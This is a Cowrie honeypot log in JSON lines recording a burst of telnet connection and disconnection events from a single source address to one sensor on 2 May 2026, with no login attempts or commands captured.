{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50580,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c630af996ea","protocol":"telnet","message":"New connection: 162.55.233.176:50580 (159.203.135.109:23) [session: 9c630af996ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:10.983976Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50592,"dst_ip":"159.203.135.109","dst_port":23,"session":"1627652a8702","protocol":"telnet","message":"New connection: 162.55.233.176:50592 (159.203.135.109:23) [session: 1627652a8702]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:11.088962Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50598,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3888a9ee3de","protocol":"telnet","message":"New connection: 162.55.233.176:50598 (159.203.135.109:23) [session: a3888a9ee3de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:11.159893Z"}
{"eventid":"cowrie.session.closed","duration":34.238065004348755,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:11.320706Z","src_ip":"162.55.233.176","session":"6bf90a7244d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50604,"dst_ip":"159.203.135.109","dst_port":23,"session":"0335af174ad3","protocol":"telnet","message":"New connection: 162.55.233.176:50604 (159.203.135.109:23) [session: 0335af174ad3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:11.390632Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50610,"dst_ip":"159.203.135.109","dst_port":23,"session":"58c8e8db71d4","protocol":"telnet","message":"New connection: 162.55.233.176:50610 (159.203.135.109:23) [session: 58c8e8db71d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:11.752224Z"}
{"eventid":"cowrie.session.closed","duration":33.854689598083496,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:11.786681Z","src_ip":"162.55.233.176","session":"b4cd256ab3cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.954618453979492,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:11.887504Z","src_ip":"162.55.233.176","session":"8d6004026ac1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50618,"dst_ip":"159.203.135.109","dst_port":23,"session":"3da7822c7c7e","protocol":"telnet","message":"New connection: 162.55.233.176:50618 (159.203.135.109:23) [session: 3da7822c7c7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:11.955055Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50630,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c8d6f830e86","protocol":"telnet","message":"New connection: 162.55.233.176:50630 (159.203.135.109:23) [session: 4c8d6f830e86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:12.197202Z"}
{"eventid":"cowrie.session.closed","duration":32.122631549835205,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:12.294930Z","src_ip":"162.55.233.176","session":"99687646cb47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.444397449493408,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:12.373223Z","src_ip":"162.55.233.176","session":"92b9ca3423fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.94434356689453,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:12.426943Z","src_ip":"162.55.233.176","session":"bdd0cd233869","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50636,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2aa97ba3436","protocol":"telnet","message":"New connection: 162.55.233.176:50636 (159.203.135.109:23) [session: f2aa97ba3436]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:12.517017Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50648,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc2f618a9a13","protocol":"telnet","message":"New connection: 162.55.233.176:50648 (159.203.135.109:23) [session: fc2f618a9a13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:12.705566Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50650,"dst_ip":"159.203.135.109","dst_port":23,"session":"b190ae29b2f5","protocol":"telnet","message":"New connection: 162.55.233.176:50650 (159.203.135.109:23) [session: b190ae29b2f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:12.758810Z"}
{"eventid":"cowrie.session.closed","duration":36.5340371131897,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:12.826926Z","src_ip":"162.55.233.176","session":"bd1d41f3fb7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.69991683959961,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:12.835931Z","src_ip":"162.55.233.176","session":"2c3a846d0699","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50656,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce6736767696","protocol":"telnet","message":"New connection: 162.55.233.176:50656 (159.203.135.109:23) [session: ce6736767696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:12.868409Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58916,"dst_ip":"159.203.135.109","dst_port":23,"session":"aaf89663179d","protocol":"telnet","message":"New connection: 162.55.233.176:58916 (159.203.135.109:23) [session: aaf89663179d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:13.008555Z"}
{"eventid":"cowrie.session.closed","duration":35.067036151885986,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:13.067930Z","src_ip":"162.55.233.176","session":"789cfaf11e00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58934,"dst_ip":"159.203.135.109","dst_port":23,"session":"13c98cbb8444","protocol":"telnet","message":"New connection: 162.55.233.176:58934 (159.203.135.109:23) [session: 13c98cbb8444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:13.106846Z"}
{"eventid":"cowrie.session.closed","duration":31.98230791091919,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:13.241197Z","src_ip":"162.55.233.176","session":"a0cdc95f0c8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58952,"dst_ip":"159.203.135.109","dst_port":23,"session":"c22da3fa6cc6","protocol":"telnet","message":"New connection: 162.55.233.176:58952 (159.203.135.109:23) [session: c22da3fa6cc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:13.287304Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58954,"dst_ip":"159.203.135.109","dst_port":23,"session":"c47b2fa9e2df","protocol":"telnet","message":"New connection: 162.55.233.176:58954 (159.203.135.109:23) [session: c47b2fa9e2df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:13.293086Z"}
{"eventid":"cowrie.session.closed","duration":36.5443480014801,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:13.562628Z","src_ip":"162.55.233.176","session":"d49585ed0fba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58964,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8bec87ce909","protocol":"telnet","message":"New connection: 162.55.233.176:58964 (159.203.135.109:23) [session: e8bec87ce909]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:13.682323Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58968,"dst_ip":"159.203.135.109","dst_port":23,"session":"12288ec3d4d0","protocol":"telnet","message":"New connection: 162.55.233.176:58968 (159.203.135.109:23) [session: 12288ec3d4d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:13.693513Z"}
{"eventid":"cowrie.session.closed","duration":31.10911202430725,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:14.042518Z","src_ip":"162.55.233.176","session":"3d33015f2478","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58940,"dst_ip":"159.203.135.109","dst_port":23,"session":"c23265e7ff20","protocol":"telnet","message":"New connection: 162.55.233.176:58940 (159.203.135.109:23) [session: c23265e7ff20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:14.200862Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58986,"dst_ip":"159.203.135.109","dst_port":23,"session":"af09d9c1a49a","protocol":"telnet","message":"New connection: 162.55.233.176:58986 (159.203.135.109:23) [session: af09d9c1a49a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:14.457270Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59002,"dst_ip":"159.203.135.109","dst_port":23,"session":"973c32e9f036","protocol":"telnet","message":"New connection: 162.55.233.176:59002 (159.203.135.109:23) [session: 973c32e9f036]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:14.509222Z"}
{"eventid":"cowrie.session.closed","duration":32.092243909835815,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:14.590224Z","src_ip":"162.55.233.176","session":"6ab839aec437","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.94959568977356,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:14.635645Z","src_ip":"162.55.233.176","session":"683a28b95cf5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.911163568496704,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:14.713239Z","src_ip":"162.55.233.176","session":"bc3c66ae5fe5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59008,"dst_ip":"159.203.135.109","dst_port":23,"session":"16a8d16543c8","protocol":"telnet","message":"New connection: 162.55.233.176:59008 (159.203.135.109:23) [session: 16a8d16543c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:14.830317Z"}
{"eventid":"cowrie.session.closed","duration":31.630457401275635,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:14.844676Z","src_ip":"162.55.233.176","session":"c7332ce4f027","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.267738342285156,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:14.869251Z","src_ip":"162.55.233.176","session":"f6c38d467a2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58976,"dst_ip":"159.203.135.109","dst_port":23,"session":"663b95cf9d06","protocol":"telnet","message":"New connection: 162.55.233.176:58976 (159.203.135.109:23) [session: 663b95cf9d06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:14.939820Z"}
{"eventid":"cowrie.session.closed","duration":31.92235565185547,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:14.958339Z","src_ip":"162.55.233.176","session":"32a207123dc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59010,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6463465d5ce","protocol":"telnet","message":"New connection: 162.55.233.176:59010 (159.203.135.109:23) [session: b6463465d5ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:15.390444Z"}
{"eventid":"cowrie.session.closed","duration":31.363989114761353,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:15.657178Z","src_ip":"162.55.233.176","session":"fef90266e79e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59018,"dst_ip":"159.203.135.109","dst_port":23,"session":"67a1a5bbcf0f","protocol":"telnet","message":"New connection: 162.55.233.176:59018 (159.203.135.109:23) [session: 67a1a5bbcf0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:15.734257Z"}
{"eventid":"cowrie.session.closed","duration":32.38875198364258,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:15.814393Z","src_ip":"162.55.233.176","session":"482e807d95dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.91355752944946,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:15.932947Z","src_ip":"162.55.233.176","session":"b986d39bf3a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.340308904647827,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:15.938321Z","src_ip":"162.55.233.176","session":"28dbc7ab925d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.18515682220459,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:16.242433Z","src_ip":"162.55.233.176","session":"c5d24eb6bd87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59022,"dst_ip":"159.203.135.109","dst_port":23,"session":"281af8839f17","protocol":"telnet","message":"New connection: 162.55.233.176:59022 (159.203.135.109:23) [session: 281af8839f17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:16.405990Z"}
{"eventid":"cowrie.session.closed","duration":30.79482865333557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:16.436956Z","src_ip":"162.55.233.176","session":"b58fe795e82c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59030,"dst_ip":"159.203.135.109","dst_port":23,"session":"b433fe5d2cce","protocol":"telnet","message":"New connection: 162.55.233.176:59030 (159.203.135.109:23) [session: b433fe5d2cce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:16.513651Z"}
{"eventid":"cowrie.session.closed","duration":36.959489822387695,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:16.570229Z","src_ip":"162.55.233.176","session":"b78d2aa0b4aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59044,"dst_ip":"159.203.135.109","dst_port":23,"session":"f38c717be2b1","protocol":"telnet","message":"New connection: 162.55.233.176:59044 (159.203.135.109:23) [session: f38c717be2b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:16.759354Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59050,"dst_ip":"159.203.135.109","dst_port":23,"session":"693fbf11df9f","protocol":"telnet","message":"New connection: 162.55.233.176:59050 (159.203.135.109:23) [session: 693fbf11df9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:16.764955Z"}
{"eventid":"cowrie.session.closed","duration":35.593624114990234,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:16.800460Z","src_ip":"162.55.233.176","session":"1554a4195af7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.34769678115845,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:17.012124Z","src_ip":"162.55.233.176","session":"127bd1d50649","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59054,"dst_ip":"159.203.135.109","dst_port":23,"session":"61aa907f452d","protocol":"telnet","message":"New connection: 162.55.233.176:59054 (159.203.135.109:23) [session: 61aa907f452d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:17.102355Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59070,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f72dbc99e1d","protocol":"telnet","message":"New connection: 162.55.233.176:59070 (159.203.135.109:23) [session: 9f72dbc99e1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:17.290557Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59072,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4e960816bde","protocol":"telnet","message":"New connection: 162.55.233.176:59072 (159.203.135.109:23) [session: a4e960816bde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:17.297881Z"}
{"eventid":"cowrie.session.closed","duration":36.621830463409424,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:17.438282Z","src_ip":"162.55.233.176","session":"409715c10e14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.769320011138916,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:17.672827Z","src_ip":"162.55.233.176","session":"64561447a6fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59080,"dst_ip":"159.203.135.109","dst_port":23,"session":"f89c9ec880a5","protocol":"telnet","message":"New connection: 162.55.233.176:59080 (159.203.135.109:23) [session: f89c9ec880a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:18.042597Z"}
{"eventid":"cowrie.session.closed","duration":36.08046579360962,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:18.132582Z","src_ip":"162.55.233.176","session":"57983f2f9bfa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.855111598968506,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:18.689488Z","src_ip":"162.55.233.176","session":"6278a69cb837","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.35316753387451,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:19.036045Z","src_ip":"162.55.233.176","session":"b7d8c1cd7ddb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59094,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd079b6e366a","protocol":"telnet","message":"New connection: 162.55.233.176:59094 (159.203.135.109:23) [session: dd079b6e366a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:19.181890Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59106,"dst_ip":"159.203.135.109","dst_port":23,"session":"d06f2b504859","protocol":"telnet","message":"New connection: 162.55.233.176:59106 (159.203.135.109:23) [session: d06f2b504859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:19.306445Z"}
{"eventid":"cowrie.session.closed","duration":31.30721139907837,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:19.339207Z","src_ip":"162.55.233.176","session":"28daedbb9f23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59114,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2706e9eba9b","protocol":"telnet","message":"New connection: 162.55.233.176:59114 (159.203.135.109:23) [session: f2706e9eba9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:19.527854Z"}
{"eventid":"cowrie.session.closed","duration":31.486814498901367,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:19.942144Z","src_ip":"162.55.233.176","session":"ca97dca27376","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59118,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3fb12a752ff","protocol":"telnet","message":"New connection: 162.55.233.176:59118 (159.203.135.109:23) [session: d3fb12a752ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:20.339902Z"}
{"eventid":"cowrie.session.closed","duration":32.54651188850403,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:20.415601Z","src_ip":"162.55.233.176","session":"3708a730f9e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59130,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c2f35914636","protocol":"telnet","message":"New connection: 162.55.233.176:59130 (159.203.135.109:23) [session: 0c2f35914636]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:20.818899Z"}
{"eventid":"cowrie.session.closed","duration":36.01363205909729,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:20.990042Z","src_ip":"162.55.233.176","session":"0b75d4f20c11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59136,"dst_ip":"159.203.135.109","dst_port":23,"session":"81d3c03f61b0","protocol":"telnet","message":"New connection: 162.55.233.176:59136 (159.203.135.109:23) [session: 81d3c03f61b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:21.116431Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59148,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf00e38d9a36","protocol":"telnet","message":"New connection: 162.55.233.176:59148 (159.203.135.109:23) [session: bf00e38d9a36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:21.360781Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59164,"dst_ip":"159.203.135.109","dst_port":23,"session":"67552ac8fa5f","protocol":"telnet","message":"New connection: 162.55.233.176:59164 (159.203.135.109:23) [session: 67552ac8fa5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:21.514665Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59166,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1bc4dc52935","protocol":"telnet","message":"New connection: 162.55.233.176:59166 (159.203.135.109:23) [session: a1bc4dc52935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:21.544959Z"}
{"eventid":"cowrie.session.closed","duration":4.617914199829102,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:21.908331Z","src_ip":"162.55.233.176","session":"9f72dbc99e1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59170,"dst_ip":"159.203.135.109","dst_port":23,"session":"ddcc84723196","protocol":"telnet","message":"New connection: 162.55.233.176:59170 (159.203.135.109:23) [session: ddcc84723196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:22.056932Z"}
{"eventid":"cowrie.session.closed","duration":34.3988721370697,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:22.201836Z","src_ip":"162.55.233.176","session":"822f5e56829c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.46160626411438,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:22.263236Z","src_ip":"162.55.233.176","session":"ca2c4b4da9f6","protocol":"telnet"}
